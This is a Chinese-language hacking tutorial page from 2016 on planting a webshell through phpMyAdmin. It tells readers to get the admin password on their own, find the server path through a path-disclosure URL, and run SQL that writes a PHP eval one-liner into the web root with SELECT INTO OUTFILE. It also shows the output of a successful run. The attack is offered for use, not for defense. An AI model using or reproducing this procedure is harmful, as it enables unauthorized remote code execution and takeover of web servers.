教你phpMyAdmin 后台拿webshell
教你phpMyAdmin 后台拿webshell
发布时间:2016-12-21 来源:查字典编辑
摘要:1.如何拿到登陆密码,自己想办法。2.访问:http://url/phpmyadmin/libraries/select_lang.lib....

1.如何拿到登陆密码,自己想办法。

2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.

3.选择一个Database.运行以下语句.

----start code---

Create TABLE a (cmd text NOT NULL);

Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');

select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';

Drop TABLE IF EXISTS a;

----end code---

4.如果没什么意外.对应网站得到webshell

您运行的 SQL 语句已经成功运行了。

SQL 查询:

CREATE TABLE a(

cmd text NOT NULL

);# MySQL 返回的查询结果为空(即零行)。

INSERT INTO a( cmd )

VALUES (

'<?php eval($_POST[1]);?>'

);# 影响列数: 1

SELECT cmd

FROM a

INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影响列数: 1

DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新黑客教程学习
热门黑客教程学习
网络安全子分类